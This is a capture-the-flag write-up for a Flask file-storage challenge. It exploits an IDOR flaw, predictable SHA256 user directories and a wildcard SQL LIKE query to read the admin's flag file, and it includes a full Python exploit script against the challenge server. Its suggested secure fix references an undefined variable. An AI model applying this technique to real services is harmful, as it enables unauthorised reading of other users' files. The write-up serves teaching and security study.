Ghost Cloud
Ghost Cloud
Platform: hackerlab | Category: Web | Type: Challenge | Difficulty: Medium | OS: NA | Author: XESXOR | Date: 2026-01-04 | Status: Solved Techniques: Access control bypass through partial filename matching, IDOR via predictable user directory hash, SHA256 hash prediction for admin directory, SQL LIKE pattern matching exploitation
Summary
Task: File storage service with user directories named by SHA256 hash. Solution: Exploited IDOR and SQL LIKE pattern matching to access admin flag file by predicting directory path and using partial filename match.
Ghost Cloud — hackerlab
Description
Цифровые тени скользят по серым стенам этого необычного хранилища данных. Полупрозрачные стражи лениво кружат между файлами, охраняя чужие секреты. Но так ли надежно спрятано то, что кажется невидимым для обычных глаз? В конце концов, даже у призраков есть свои уязвимые места.
URL: http://62.173.140.174:16066 Server: Flask (Werkzeug/2.0.1 Python/3.9.18)
Analysis
1. Application Study
The application is a file storage service with user registration. Each user has their own directory for files.
2. Directory Structure
From source code analysis (app.py):
- User directories are named as SHA256 hash of username
- Admin directory:
SHA256("admin")=8c6976e5b5410415bde908bd4dee15dfb167a9c873fc4bb8a81f6f2ab448a918
3. Vulnerable Code
In endpoint /download/<path:filepath> (lines 217-222):
python read-only • copy allowedc.execute(""" SELECT f.stored_filename FROM files f JOIN users u ON f.user_id = u.id WHERE u.username = ? AND f.stored_filename LIKE ? """, (target_user, f"%{filename}%"))
Issues:
- SQL LIKE with wildcards: The query uses
%filename%, allowing partial filename matching - IDOR: The endpoint doesn't verify if the requested file belongs to the current user
- Predictable paths: User directories are computed as SHA256(username)
4. Admin Flag
When the admin user is created, the flag is saved to a file flag_{random_suffix}.txt. Thanks to the LIKE query, this file can be found using the pattern flag.
Solution
Step 1: Registration and Authentication
python read-only • copy allowedimport requests import hashlib BASE_URL = "http://62.173.140.174:16066" s = requests.Session() # Register a new user s.post(f"{BASE_URL}/register", data={ "username": "attacker", "password": "pass123" }) # Login s.post(f"{BASE_URL}/login", data={ "username": "attacker", "password": "pass123" })
Step 2: Calculate Admin Directory
python read-only • copy allowed# SHA256 hash of "admin" admin_dir = hashlib.sha256("admin".encode()).hexdigest() print(f"Admin directory: {admin_dir}") # 8c6976e5b5410415bde908bd4dee15dfb167a9c873fc4bb8a81f6f2ab448a918
Step 3: Exploiting IDOR + LIKE
python read-only • copy allowed# Request file with pattern "flag" from admin directory r = s.get(f"{BASE_URL}/download/{admin_dir}/flag") print(r.text)
The SQL query will execute as:
sql read-only • copy allowedSELECT f.stored_filename FROM files f JOIN users u ON f.user_id = u.id WHERE u.username = 'admin' AND f.stored_filename LIKE '%flag%'
This will find the file flag_{random_suffix}.txt and return its contents.
Full Exploit
python read-only • copy allowed#!/usr/bin/env python3 import requests import hashlib BASE_URL = "http://62.173.140.174:16066" s = requests.Session() # Register and login s.post(f"{BASE_URL}/register", data={"username": "attacker", "password": "pass123"}) s.post(f"{BASE_URL}/login", data={"username": "attacker", "password": "pass123"}) # Calculate admin directory hash admin_dir = hashlib.sha256("admin".encode()).hexdigest() # Exploit LIKE vulnerability to get admin's flag file r = s.get(f"{BASE_URL}/download/{admin_dir}/flag") print(r.text) # CODEBY{REDACTED}
Vulnerabilities
1. IDOR (Insecure Direct Object Reference)
/download/{user_dir}/{filename}
The endpoint allows specifying any user's directory without checking access rights.
2. SQL LIKE Pattern Matching
sql read-only • copy allowedWHERE f.stored_filename LIKE '%{filename}%'
The % wildcards allow finding a file by partial name, even without knowing the full name with random suffix.
3. Predictable Paths
python read-only • copy alloweduser_dir = hashlib.sha256(username.encode()).hexdigest()
Knowing the username (e.g., "admin"), one can compute the path to their directory.
Proper Implementation
python read-only • copy allowed# Secure version @app.route('/download/<path:filepath>') def download(filepath): current_user = get_current_user() # 1. Verify directory ownership user_dir = filepath.split('/')[0] expected_dir = hashlib.sha256(current_user.encode()).hexdigest() if user_dir != expected_dir: abort(403, "Access denied") # 2. Exact filename match (no LIKE) c.execute(""" SELECT f.stored_filename FROM files f JOIN users u ON f.user_id = u.id WHERE u.username = ? AND f.stored_filename = ? """, (current_user, filename))
Conclusions
- IDOR: Always verify resource access rights on the server side
- SQL LIKE: Avoid wildcards with user input, use exact matching
- Predictable paths: Use random identifiers instead of hashes of known data
- Defense in depth: A combination of several weaknesses creates a critical vulnerability